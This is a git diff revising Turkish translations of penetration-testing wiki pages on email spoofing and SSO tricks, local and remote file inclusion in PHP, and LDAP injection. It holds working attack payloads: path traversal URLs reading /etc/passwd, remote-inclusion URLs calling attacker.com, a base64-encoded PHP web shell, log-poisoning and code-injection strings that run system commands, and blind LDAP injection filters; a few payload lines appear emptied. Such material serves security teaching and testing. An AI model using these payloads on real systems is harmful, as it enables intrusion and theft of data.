-**github** veya **salesforce** gibi bazı hizmetler, üzerinde **XSS yükleri bulunan bir e-posta adresi oluşturmanıza** izin verir. Eğer bu sağlayıcıları **diğer hizmetlere giriş yapmak için kullanabiliyorsanız** ve bu hizmetler e-postayı **doğru bir şekilde temizlemiyorsa**, **XSS** oluşturabilirsiniz. +**github** veya **salesforce** gibi bazı hizmetler, üzerinde **XSS yükleri bulunan bir e-posta adresi oluşturmanıza** izin verir. Eğer bu sağlayıcıları **diğer hizmetlerde oturum açmak için kullanabiliyorsanız** ve bu hizmetler e-postayı **doğru bir şekilde temizlemiyorsa**, **XSS** oluşturabilirsiniz. ### Hesap Ele Geçirme -Eğer bir **SSO hizmeti**, **verilen e-posta adresini doğrulamadan bir hesap oluşturmanıza** izin veriyorsa (örneğin **salesforce**) ve ardından bu hesabı **farklı bir hizmette** kullanabiliyorsanız ve bu hizmet **salesforce'a güveniyorsa**, herhangi bir hesaba erişebilirsiniz.\ -&#xNAN;_Note that salesforce verilen e-postanın doğrulanıp doğrulanmadığını belirtir, ancak uygulama bu bilgiyi dikkate almalıdır._ +Eğer bir **SSO hizmeti**, verilen e-posta adresini doğrulamadan **bir hesap oluşturmanıza** izin veriyorsa (örneğin **salesforce**) ve ardından bu hesabı **farklı bir hizmette oturum açmak için kullanabiliyorsanız** ve bu hizmet **salesforce'a güveniyorsa**, herhangi bir hesaba erişebilirsiniz.\ +_Note alın ki salesforce, verilen e-postanın doğrulanıp doğrulanmadığını belirtir, ancak uygulama bu bilgiyi dikkate almalıdır._ ## Yanıtla -_E-posta gönderirken _**From: company.com**_ ve _**Replay-To: attacker.com**_ kullanabilirsiniz ve e-posta **içsel bir adresten** gönderildiği için herhangi bir **otomatik yanıt** gönderilirse, **saldırgan** bu **yanıtı** **alabilir**. +_**From: company.com**_ kullanarak bir e-posta gönderebilir ve _**Replay-To: attacker.com**_ belirtebilirsiniz ve e-posta **içsel bir adresten** gönderildiği için herhangi bir **otomatik yanıt** gönderilirse, **saldırgan** bu **yanıtı** **alabilir**. ## Sert İade Oranı @@ -177,7 +177,7 @@ AWS gibi belirli hizmetler, genellikle %10 olarak ayarlanan **Sert İade Oranı* **Sert iade**, alıcının adresinin geçersiz veya mevcut olmadığı için gönderenine geri dönen bir **e-posta** anlamına gelir. Bu, e-postanın mevcut olmayan bir adrese, gerçek olmayan bir alan adına veya alıcı sunucusunun **e-postaları** kabul etmeyi reddetmesi gibi çeşitli nedenlerden kaynaklanabilir. -AWS bağlamında, 1000 e-posta gönderdiğinizde ve bunlardan 100'ü sert iadelerle sonuçlandığında (geçersiz adresler veya alanlar gibi nedenlerden dolayı), bu %10 sert iade oranı anlamına gelir. Bu orana ulaşmak veya aşmak, AWS SES (Basit E-posta Servisi) tarafından e-posta gönderme yeteneklerinizin engellenmesine veya askıya alınmasına neden olabilir. +AWS bağlamında, 1000 e-posta gönderdiğinizde ve bunlardan 100'ü sert iadelerle sonuçlandığında (geçersiz adresler veya alan adları gibi nedenlerden dolayı), bu %10 sert iade oranı anlamına gelir. Bu orana ulaşmak veya aşmak, AWS SES (Simple Email Service) hizmetinin e-posta gönderme yeteneklerinizi engellemesine veya askıya almasına neden olabilir. Kesintisiz e-posta hizmeti sağlamak ve gönderen itibarını korumak için düşük bir sert iade oranını sürdürmek kritik öneme sahiptir. E-posta listelerinizdeki e-posta adreslerinin kalitesini izlemek ve yönetmek, bunu başarmada önemli ölçüde yardımcı olabilir. diff --git a/src/pentesting-web/file-inclusion/README.md b/src/pentesting-web/file-inclusion/README.md index 7aea13d7f..9a99f54ee 100644 --- a/src/pentesting-web/file-inclusion/README.md +++ b/src/pentesting-web/file-inclusion/README.md @@ -4,7 +4,7 @@ ## Dosya Dahil Etme -**Uzaktan Dosya Dahil Etme (RFI):** Dosya, uzaktaki bir sunucudan yüklenir (En İyi: Kodu yazabilirsiniz ve sunucu bunu çalıştırır). PHP'de bu **varsayılan olarak devre dışıdır** (**allow_url_include**).\ +**Uzak Dosya Dahil Etme (RFI):** Dosya, uzak bir sunucudan yüklenir (En İyi: Kodu yazabilirsiniz ve sunucu bunu çalıştırır). PHP'de bu **varsayılan olarak devre dışıdır** (**allow_url_include**).\ **Yerel Dosya Dahil Etme (LFI):** Sunucu, yerel bir dosyayı yükler. Zafiyet, kullanıcının sunucu tarafından yüklenecek dosyayı bir şekilde kontrol edebilmesi durumunda ortaya çıkar. @@ -84,13 +84,13 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd ``` ### Sunucu Üzerinde Dosya Sistemi Dizinlerini Keşfetme -Bir sunucunun dosya sistemi, belirli teknikler kullanılarak yalnızca dosyaları değil, dizinleri de tanımlamak için özyinelemeli olarak keşfedilebilir. Bu süreç, dizin derinliğini belirlemeyi ve belirli klasörlerin varlığını sorgulamayı içerir. Bunu başarmak için ayrıntılı bir yöntem aşağıda verilmiştir: +Bir sunucunun dosya sistemi, belirli teknikler kullanılarak yalnızca dosyaları değil, dizinleri de tanımlamak için özyinelemeli olarak keşfedilebilir. Bu süreç, dizin derinliğini belirlemeyi ve belirli klasörlerin varlığını sorgulamayı içerir. Bunu başarmak için aşağıda ayrıntılı bir yöntem bulunmaktadır: -1. **Dizin Derinliğini Belirleme:** Mevcut dizininizin derinliğini, `/etc/passwd` dosyasını başarıyla alarak belirleyin (sunucu Linux tabanlıysa geçerlidir). Örnek bir URL, üç derinliği gösterecek şekilde aşağıdaki gibi yapılandırılabilir: +1. **Dizin Derinliğini Belirleme:** Mevcut dizininizin derinliğini, `/etc/passwd` dosyasını başarıyla alarak belirleyin (bu, sunucu Linux tabanlıysa geçerlidir). Örnek bir URL, üç derinliği gösteren şu şekilde yapılandırılabilir: ```bash http://example.com/index.php?page=../../../etc/passwd # depth of 3 ``` -2. **Klasörleri Araştır:** Şüpheli klasörün adını (örneğin, `private`) URL'ye ekleyin, ardından `/etc/passwd`'a geri gidin. Ekstra dizin seviyesi derinliği bir artırmayı gerektirir: +2. **Klasörleri Sorgula:** Şüpheli klasörün adını (örneğin, `private`) URL'ye ekleyin, ardından `/etc/passwd`'a geri gidin. Ek dizin seviyesi derinliği bir artırmayı gerektirir: ```bash http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4 ``` @@ -99,13 +99,13 @@ http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1= - **`/etc/passwd` İçeriği:** `private` klasörünün varlığı doğrulanmıştır. 4. **Kapsamlı Keşif:** Bulunan klasörler, aynı teknik veya geleneksel Yerel Dosya Dahil Etme (LFI) yöntemleri kullanılarak alt dizinler veya dosyalar için daha fazla araştırılabilir. -Dosya sistemindeki farklı konumlarda dizinleri keşfetmek için yükü buna göre ayarlayın. Örneğin, `/var/www/` içinde bir `private` dizini olup olmadığını kontrol etmek için (mevcut dizinin derinliği 3 olarak varsayıldığında) şunu kullanın: +Dosya sistemindeki farklı konumlarda dizinleri keşfetmek için, yükü buna göre ayarlayın. Örneğin, `/var/www/` içinde bir `private` dizini olup olmadığını kontrol etmek için (mevcut dizinin derinliği 3 olarak varsayıldığında) şunu kullanın: ```bash http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd ``` ### **Path Truncation Technique** -Path truncation, web uygulamalarında dosya yollarını manipüle etmek için kullanılan bir yöntemdir. Genellikle, dosya yollarının sonuna ek karakterler ekleyen belirli güvenlik önlemlerini aşarak kısıtlı dosyalara erişmek için kullanılır. Amaç, güvenlik önlemi tarafından değiştirildiğinde bile istenen dosyaya işaret eden bir dosya yolu oluşturmaktır. +Path truncation, web uygulamalarında dosya yollarını manipüle etmek için kullanılan bir yöntemdir. Genellikle, dosya yollarının sonuna ek karakterler ekleyen belirli güvenlik önlemlerini atlayarak kısıtlı dosyalara erişmek için kullanılır. Amaç, güvenlik önlemi tarafından değiştirildiğinde bile istenen dosyaya işaret eden bir dosya yolu oluşturmaktır. PHP'de, dosya sisteminin doğası gereği bir dosya yolunun çeşitli temsilleri eşdeğer olarak kabul edilebilir. Örneğin: @@ -113,7 +113,7 @@ PHP'de, dosya sisteminin doğası gereği bir dosya yolunun çeşitli temsilleri - Son 6 karakter `passwd` olduğunda, bir `/` eklemek (bunu `passwd/` yaparak) hedef dosyayı değiştirmez. - Benzer şekilde, bir dosya yoluna `.php` eklenirse (örneğin `shellcode.php`), sonuna `/.` eklemek erişilen dosyayı değiştirmeyecektir. -Verilen örnekler, hassas içeriği (kullanıcı hesap bilgileri) nedeniyle yaygın bir hedef olan `/etc/passwd` dosyasına erişmek için yol kısaltma nasıl kullanılacağını göstermektedir: +Verilen örnekler, hassas içeriği (kullanıcı hesap bilgileri) nedeniyle yaygın bir hedef olan `/etc/passwd`'a erişmek için yol kısaltmasını nasıl kullanacağınızı göstermektedir: ``` http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE].... http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././. @@ -143,7 +143,7 @@ http://example.com/index.php?page=PhP://filter ``` ## Uzaktan Dosya Dahil Etme -php'de bu varsayılan olarak devre dışı bırakılmıştır çünkü **`allow_url_include`** **Kapalıdır.** Bunun çalışması için **Açık** olması gerekir ve bu durumda sunucunuzdan bir PHP dosyası dahil edebilir ve RCE elde edebilirsiniz: +php'de bu varsayılan olarak devre dışı bırakılmıştır çünkü **`allow_url_include`** **Kapalı.** Bunun çalışması için **Açık** olması gerekir ve bu durumda sunucunuzdan bir PHP dosyası dahil edebilir ve RCE elde edebilirsiniz: ```python http://example.com/index.php?page=http://atacker.com/mal.php http://example.com/index.php?page=\\attacker.com\shared\mal.php @@ -213,27 +213,27 @@ Yerel dosya dahil etme (LFI) zafiyetlerine karşı savunmasız olabilecek en iyi ### php://filter -PHP filtreleri, veriler okunmadan veya yazılmadan önce **veri üzerinde temel değişiklik işlemleri** gerçekleştirmeye olanak tanır. 5 filtre kategorisi vardır: +PHP filtreleri, veriler okunmadan veya yazılmadan önce **temel değişiklik işlemleri gerçekleştirmeye** olanak tanır. 5 filtre kategorisi vardır: - [String Filters](https://www.php.net/manual/en/filters.string.php): - `string.rot13` - `string.toupper` - `string.tolower` -- `string.strip_tags`: Veriden etiketleri kaldırır ("<" ve ">" karakterleri arasındaki her şey) +- `string.strip_tags`: Verilerden etiketleri kaldırır ("<" ve ">" karakterleri arasındaki her şey) - Bu filtrenin modern PHP sürümlerinden kaybolduğunu unutmayın. - [Conversion Filters](https://www.php.net/manual/en/filters.convert.php) - `convert.base64-encode` - `convert.base64-decode` - `convert.quoted-printable-encode` - `convert.quoted-printable-decode` -- `convert.iconv.*` : Farklı bir kodlamaya dönüştürür (`convert.iconv..`). **Desteklenen tüm kodlamaların listesini** almak için konsolda şunu çalıştırın: `iconv -l` +- `convert.iconv.*` : Farklı bir kodlamaya dönüştürür (`convert.iconv..`). **Desteklenen tüm kodlamaların listesini** almak için konsolda `iconv -l` komutunu çalıştırın. > [!WARNING] > `convert.iconv.*` dönüşüm filtresini kötüye kullanarak **rastgele metin** üretebilirsiniz, bu da rastgele metin yazmak veya bir işlev gibi dahil etme işlemini rastgele metin yapmak için yararlı olabilir. Daha fazla bilgi için [**LFI2RCE php filtreleri aracılığıyla**](lfi2rce-via-php-filters.md) kontrol edin. - [Compression Filters](https://www.php.net/manual/en/filters.compression.php) - `zlib.deflate`: İçeriği sıkıştırır (çok fazla bilgi sızdırırken yararlıdır) -- `zlib.inflate`: Veriyi açar +- `zlib.inflate`: Verileri açar - [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php) - `mcrypt.*` : Kullanımdan kaldırıldı - `mdecrypt.*` : Kullanımdan kaldırıldı @@ -283,11 +283,11 @@ Orijinal yazıda tekniğin detaylı bir açıklamasını bulabilirsiniz, ancak b - Bu, önceki ile birleştirildiğinde (ve tahmin edilen harfe bağlı diğer filtrelerle), metnin başındaki bir harfi tahmin etmemizi sağlayacaktır; çünkü yeterince dönüşüm yaptığımızda artık bir onaltılık karakter olmaktan çıkacaktır. Çünkü eğer onaltılık ise, dechunk onu silmeyecek ve başlangıç bombası php hatasını tetikleyecektir. - **convert.iconv.UNICODE.CP930** codec'i her harfi bir sonrakine dönüştürür (bu codec'ten sonra: a -> b). Bu, örneğin ilk harfin `a` olup olmadığını keşfetmemizi sağlar; çünkü bu codec'i 6 kez uygularsak a->b->c->d->e->f->g harfi artık bir onaltılık karakter değildir, bu nedenle dechunk onu silmez ve php hatası başlangıç bombası ile tetiklenir. - Başlangıçta **rot13** gibi diğer dönüşümler kullanarak n, o, p, q, r gibi diğer karakterleri sızdırmak mümkündür (ve diğer codec'ler, diğer harfleri onaltılık aralığına taşımak için kullanılabilir). -- İlk karakter bir sayı olduğunda, bunu base64 kodlaması yapmak ve sayıyı sızdırmak için ilk 2 harfi sızdırmak gerekir. +- İlk karakter bir sayı olduğunda, bunu base64 ile kodlamak ve sayıyı sızdırmak için ilk 2 harfi sızdırmak gerekir. - Son sorun, **ilk harften daha fazlasını nasıl sızdıracağınızı** görmektir. **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** gibi sıralı bellek filtreleri kullanarak karakterlerin sırasını değiştirmek ve metnin ilk konumuna diğer harfleri almak mümkündür. -- Ve **daha fazla veri** elde edebilmek için, **başlangıçta 2 bayt çöp verisi oluşturma** fikri vardır; **convert.iconv.UTF16.UTF16** ile, bunu **sonraki 2 bayt ile pivotlamak için UCS-4LE** uygularız ve **çöp veriye kadar veriyi sileriz** (bu, başlangıç metninin ilk 2 baytını kaldıracaktır). İstenilen bit'e ulaşana kadar bunu yapmaya devam edin. +- Ve **daha fazla veri** elde edebilmek için fikir, **başlangıçta 2 bayt çöp verisi oluşturmak** ve **convert.iconv.UTF16.UTF16** ile uygulamak, ardından **UCS-4LE** ile bunu **sonraki 2 baytla pivotlamak** ve **çöp veriye kadar veriyi silmek** (bu, başlangıç metninin ilk 2 baytını kaldıracaktır). İstenilen bit'e ulaşana kadar bunu yapmaya devam edin. -Yazıda bunu otomatik olarak gerçekleştirmek için bir araç da sızdırılmıştır: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). +Yazıda bunu otomatik olarak gerçekleştirmek için bir araç da sızdırıldı: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). ### php://fd @@ -300,7 +300,7 @@ $myfile = fopen("/etc/passwd", "r"); ### zip:// ve rar:// -İçinde PHPShell bulunan bir Zip veya Rar dosyası yükleyin ve erişin.\ +İçinde bir PHPShell bulunan bir Zip veya Rar dosyası yükleyin ve erişin.\ Rar protokolünü kötüye kullanabilmek için **özellikle etkinleştirilmesi gerekir**. ```bash echo "
" > payload.php; @@ -356,9 +356,9 @@ $phar->stopBuffering(); ```bash php --define phar.readonly=0 create_path.php ``` -Yürütme sırasında `test.phar` adında bir dosya oluşturulacak ve bu, Yerel Dosya Dahil Etme (LFI) açıklarını istismar etmek için kullanılabilir. +Yürütme sırasında `test.phar` adında bir dosya oluşturulacak ve bu dosya, Yerel Dosya Dahil Etme (LFI) açıklarını istismar etmek için kullanılabilir. -LFI yalnızca dosya okumakla sınırlıysa ve içindeki PHP kodunu çalıştırmıyorsa, `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, veya `filesize()` gibi fonksiyonlar aracılığıyla bir deserialization açığını istismar etme girişiminde bulunulabilir. Bu açık, `phar` protokolü kullanılarak dosyaların okunmasıyla ilişkilidir. +LFI yalnızca dosya okuma işlemi yapıyorsa ve içindeki PHP kodunu çalıştırmıyorsa, `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, veya `filesize()` gibi fonksiyonlar aracılığıyla bir deserialization açığını istismar etmeye çalışılabilir. Bu açık, `phar` protokolü kullanılarak dosyaların okunmasıyla ilişkilidir. `.phar` dosyaları bağlamında deserialization açıklarını istismar etme konusunda detaylı bir anlayış için aşağıdaki belgede yer alan bağlantıya bakın: @@ -371,14 +371,14 @@ phar-deserialization.md ### CVE-2024-2961 **php filtrelerini destekleyen herhangi bir rastgele dosyanın okunmasını** kötüye kullanarak RCE elde etmek mümkündü. Detaylı açıklama [**bu yazıda bulunabilir**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\ -Çok hızlı bir özet: PHP yığınında bir **3 bayt taşması** kötüye kullanılarak **belirli boyuttaki serbest parçaların zincirini değiştirmek** için kullanıldı, böylece **herhangi bir adrese yazmak** mümkün oldu ve **`system`** çağrısı yapmak için bir hook eklendi.\ +Çok hızlı bir özet: PHP yığınında bir **3 bayt taşması** kötüye kullanılarak **belirli boyutlardaki serbest parçaların zincirini değiştirmek** için kullanıldı, böylece **herhangi bir adrese yazmak** mümkün oldu ve **`system`** çağrısı yapmak için bir hook eklendi.\ Daha fazla php filtresi kötüye kullanılarak belirli boyutlarda parçalar tahsis etmek mümkündü. ### Daha Fazla Protokol Burada dahil edilebilecek daha fazla [**protokolü kontrol edin**](https://www.php.net/manual/en/wrappers.php)**:** -- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Belleğe veya geçici bir dosyaya yazma (bu, bir dosya dahil etme saldırısında nasıl faydalı olabileceğinden emin değilim) +- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Belleğe veya geçici bir dosyaya yazma (bu dosya dahil etme saldırısında nasıl faydalı olabileceğinden emin değilim) - [file://](https://www.php.net/manual/en/wrappers.file.php) — Yerel dosya sistemine erişim - [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(s) URL'lerine erişim - [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(s) URL'lerine erişim @@ -399,7 +399,7 @@ Bu, geçişi durdurmayı amaçlasa da, istemeden kod enjeksiyonu için bir vekt ```plaintext ' and die(highlight_file('/etc/passwd')) or ' ``` -Benzer şekilde, rastgele sistem komutları yürütmek için şunlar kullanılabilir: +Benzer şekilde, rastgele sistem komutları çalıştırmak için şunlar kullanılabilir: ```plaintext ' and die(system("id")) or ' ``` @@ -414,7 +414,7 @@ Benzer şekilde, rastgele sistem komutları yürütmek için şunlar kullanılab Özetle, teknik, bir dosyanın içeriğini o kadar **büyük** yapmak için **"UCS-4LE" kodlamasını** kullanmaktadır ki, dosyayı açan **PHP fonksiyonu** bir **hata** tetikleyecektir. -Sonra, ilk karakteri sızdırmak için filtre **`dechunk`** kullanılır ve bununla birlikte **base64** veya **rot13** gibi diğer filtreler de kullanılır ve nihayetinde **convert.iconv.UCS-4.UCS-4LE** ve **convert.iconv.UTF16.UTF-16BE** filtreleri **diğer karakterleri başa yerleştirmek ve sızdırmak için** kullanılır. +Sonra, ilk karakteri sızdırmak için filtre **`dechunk`** diğerleriyle birlikte kullanılır, örneğin **base64** veya **rot13** ve nihayetinde filtreler **convert.iconv.UCS-4.UCS-4LE** ve **convert.iconv.UTF16.UTF-16BE** kullanılarak **başka karakterler başa yerleştirilir ve sızdırılır**. **Zayıf olabilecek fonksiyonlar**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (sadece hedef okuma için bunu kullanın)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` @@ -428,12 +428,12 @@ Daha önce açıklandığı gibi, [**bu bağlantıyı takip edin**](#remote-file ### Apache/Nginx log dosyası aracılığıyla -Eğer Apache veya Nginx sunucusu **LFI'ye karşı zayıfsa**, include fonksiyonu içinde **`/var/log/apache2/access.log` veya `/var/log/nginx/access.log`** dosyasına erişmeye çalışabilirsiniz, **kullanıcı ajanı** içinde veya bir **GET parametresi** içinde **``** gibi bir php shell ayarlayıp o dosyayı dahil edebilirsiniz. +Eğer Apache veya Nginx sunucusu **LFI'ye karşı zayıfsa**, include fonksiyonu içinde **`/var/log/apache2/access.log` veya `/var/log/nginx/access.log`** dosyasına erişmeye çalışabilirsiniz, **kullanıcı ajanı** içinde veya bir **GET parametresi** içinde bir php shell gibi **``** ayarlayıp o dosyayı dahil edebilirsiniz. > [!WARNING] -> Shell için **çift tırnak** kullanıyorsanız, **basit tırnaklar** yerine, çift tırnaklar "_**quote;**_" dizesi için değiştirilecektir, **PHP orada bir hata verecektir** ve **başka hiçbir şey çalıştırılmayacaktır**. +> **Eğer shell için çift tırnak kullanıyorsanız** dikkat edin, **basit tırnaklar** yerine çift tırnak kullanırsanız, çift tırnak "_**quote;**_" dizesi için değiştirilecektir, **PHP orada bir hata verecektir** ve **başka hiçbir şey çalıştırılmayacaktır**. > -> Ayrıca, **yükü doğru yazdığınızdan emin olun** yoksa PHP, log dosyasını yüklemeye çalıştığında her seferinde hata verecek ve ikinci bir fırsatınız olmayacaktır. +> Ayrıca, **yükü doğru yazdığınızdan emin olun** yoksa PHP log dosyasını yüklemeye çalıştığında her seferinde hata verecektir ve ikinci bir fırsatınız olmayacaktır. Bu, diğer loglarda da yapılabilir ama **dikkatli olun**, loglardaki kod URL encoded olabilir ve bu Shell'i bozabilir. **authorization "basic"** başlığı, Base64'te "user:password" içerir ve loglar içinde çözülür. PHPShell bu başlık içine yerleştirilebilir.\ Diğer olası log yolları: @@ -457,7 +457,7 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin ### /proc/\*/fd/\* ile 1. Birçok shell yükleyin (örneğin: 100) -2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) adresini dahil edin, burada $PID = sürecin PID'si (brute force ile bulunabilir) ve $FD dosya tanımlayıcısıdır (brute force ile bulunabilir). +2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) adresini dahil edin, burada $PID = işlemin PID'si (brute force ile bulunabilir) ve $FD dosya tanımlayıcısıdır (brute force ile bulunabilir). ### /proc/self/environ ile @@ -508,12 +508,12 @@ Eğer ssh aktifse, hangi kullanıcının kullanıldığını kontrol edin (/proc FTP sunucusu vsftpd için loglar _**/var/log/vsftpd.log**_ konumundadır. Bir Yerel Dosya Dahil Etme (LFI) açığı varsa ve maruz kalmış bir vsftpd sunucusuna erişim mümkünse, aşağıdaki adımlar dikkate alınabilir: -1. Giriş sürecinde kullanıcı adı alanına bir PHP yüklemesi enjekte edin. +1. Giriş sürecinde kullanıcı adı alanına bir PHP yükü enjekte edin. 2. Enjeksiyondan sonra, LFI'yi kullanarak sunucu loglarını _**/var/log/vsftpd.log**_ konumundan alın. ### Via php base64 filter (using base64) -[Bu](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) makalede gösterildiği gibi, PHP base64 filtresi sadece Non-base64'ü yok sayar. Bunu dosya uzantısı kontrolünü atlamak için kullanabilirsiniz: eğer ".php" ile biten base64 sağlarsanız, "."'yu yok sayar ve base64'e "php" ekler. İşte bir örnek yükleme: +[bu](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) makalede gösterildiği gibi, PHP base64 filtresi sadece Non-base64'ü yok sayar. Bunu dosya uzantısı kontrolünü atlamak için kullanabilirsiniz: eğer ".php" ile biten base64 sağlarsanız, "."'yu yok sayar ve base64'e "php" ekler. İşte bir örnek yük: ```url http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php @@ -521,7 +521,7 @@ NOTE: the payload is "" ``` ### Via php filters (no file needed) -Bu [**yazı**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d), **php filtrelerini kullanarak rastgele içerik** oluşturabileceğinizi açıklar. Bu, temelde **bir dosyaya yazmanıza gerek kalmadan** dahil etmek için **rastgele php kodu** oluşturabileceğiniz anlamına gelir. +Bu [**yazı**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d), **php filtrelerini kullanarak rastgele içerik** üretebileceğinizi açıklar. Bu, temelde **bir dosyaya yazmadan** dahil etmek için **rastgele php kodu** üretebileceğiniz anlamına gelir. {{#ref}} lfi2rce-via-php-filters.md @@ -529,7 +529,7 @@ lfi2rce-via-php-filters.md ### Via segmentation fault -**Geçici** olarak `/tmp` dizinine kaydedilecek bir dosya **yükleyin**, ardından **aynı istekte** bir **segmentation fault** tetikleyin, ve ardından **geçici dosya silinmeyecek** ve onu arayabilirsiniz. +**Geçici** olarak `/tmp` dizinine kaydedilecek bir dosya **yükleyin**, ardından **aynı istekte** bir **segmentation fault** tetikleyin, ve sonra **geçici dosya silinmeyecek** ve onu arayabilirsiniz. {{#ref}} lfi2rce-via-segmentation-fault.md @@ -576,13 +576,13 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php ``` ### phpinfo() Üzerinden (file_uploads = on) -Eğer bir **Local File Inclusion** bulduysanız ve **file_uploads** = on olan bir **phpinfo()** dosyası bulduysanız, RCE elde edebilirsiniz: +Eğer bir **Local File Inclusion** bulduysanız ve **phpinfo()**'u gösteren bir dosya ile file_uploads = on ise RCE elde edebilirsiniz: {{#ref}} lfi2rce-via-phpinfo.md {{#endref}} -### compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Yol Açıklaması Üzerinden +### compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure Üzerinden Eğer bir **Local File Inclusion** bulduysanız ve **geçici dosyanın yolunu dışarıya aktarabiliyorsanız** AMA **sunucu** **dahil edilecek dosyanın PHP işaretlerine sahip olup olmadığını kontrol ediyorsa**, bu **Race Condition** ile **o kontrolü atlamayı** deneyebilirsiniz: @@ -600,16 +600,16 @@ lfi2rce-via-eternal-waiting.md ### Fatal Error'a -Eğer `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` dosyalarından herhangi birini dahil ederseniz. (Bu hatayı oluşturmak için aynı dosyayı 2 kez dahil etmeniz gerekir). +Eğer `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` dosyalarından herhangi birini dahil ederseniz. (Bu hatayı atmak için aynı dosyayı 2 kez dahil etmeniz gerekir). **Bunun nasıl faydalı olduğunu bilmiyorum ama olabilir.**\ -&#xNAN;_Even bir PHP Fatal Error'a neden olsanız bile, yüklenen PHP geçici dosyaları silinir._ +_Eğer bir PHP Fatal Error'a neden olursanız, yüklenen PHP geçici dosyaları silinir._
## Referanslar -- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\\ +- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal) - [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders) {{#file}} diff --git a/src/pentesting-web/ldap-injection.md b/src/pentesting-web/ldap-injection.md index 7cf33318b..0f1534f2e 100644 --- a/src/pentesting-web/ldap-injection.md +++ b/src/pentesting-web/ldap-injection.md @@ -33,8 +33,8 @@ EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf **Substring** = attr ”=” \[initial] \* \[final]\ **Initial** = assertionvalue\ **Final** = assertionvalue\ -&#xNAN;**(&)** = Kesin DOĞRU\ -&#xNAN;**(|)** = Kesin YANLIŞ +**(&)** = Absolute TRUE\ +**(|)** = Absolute FALSE Örneğin:\ `(&(!(objectClass=Impresoras))(uid=s*))`\ @@ -116,12 +116,12 @@ password=any #### Listeler - [LDAP_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP_FUZZ.txt) -- [LDAP Attributes](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP_attributes.txt) -- [LDAP PosixAccount attributes](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html) +- [LDAP Nitelikleri](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP_attributes.txt) +- [LDAP PosixAccount nitelikleri](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html) ### Kör LDAP Enjeksiyonu -Herhangi bir verinin döndürülüp döndürülmediğini kontrol etmek ve olası bir Kör LDAP Enjeksiyonunu doğrulamak için Yanlış veya Doğru yanıtlarını zorlayabilirsiniz: +Herhangi bir verinin döndürülüp döndürülmediğini kontrol etmek ve olası bir Kör LDAP Enjeksiyonunu doğrulamak için Yanlış veya Doğru yanıtları zorlayabilirsiniz: ```bash #This will result on True, so some information will be shown Payload: *)(objectClass=*))(&objectClass=void @@ -150,7 +150,7 @@ Ascii harfleri, rakamlar ve semboller üzerinde döngü yapabilirsiniz: #### **Geçerli LDAP alanlarını keşfet** -LDAP nesneleri **varsayılan olarak birkaç öznitelik içerir** ve bu öznitelikler **bilgi saklamak için kullanılabilir.** Bu bilgileri çıkarmak için **hepsini brute-force ile denemeyi** deneyebilirsiniz. [**Varsayılan LDAP özniteliklerinin bir listesini burada bulabilirsiniz**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt). +LDAP nesneleri **varsayılan olarak birkaç öznitelik içerir** ve bu öznitelikler **bilgi saklamak için kullanılabilir.** Bu bilgiyi çıkarmak için **hepsini brute-force ile denemeyi** deneyebilirsiniz. [**Varsayılan 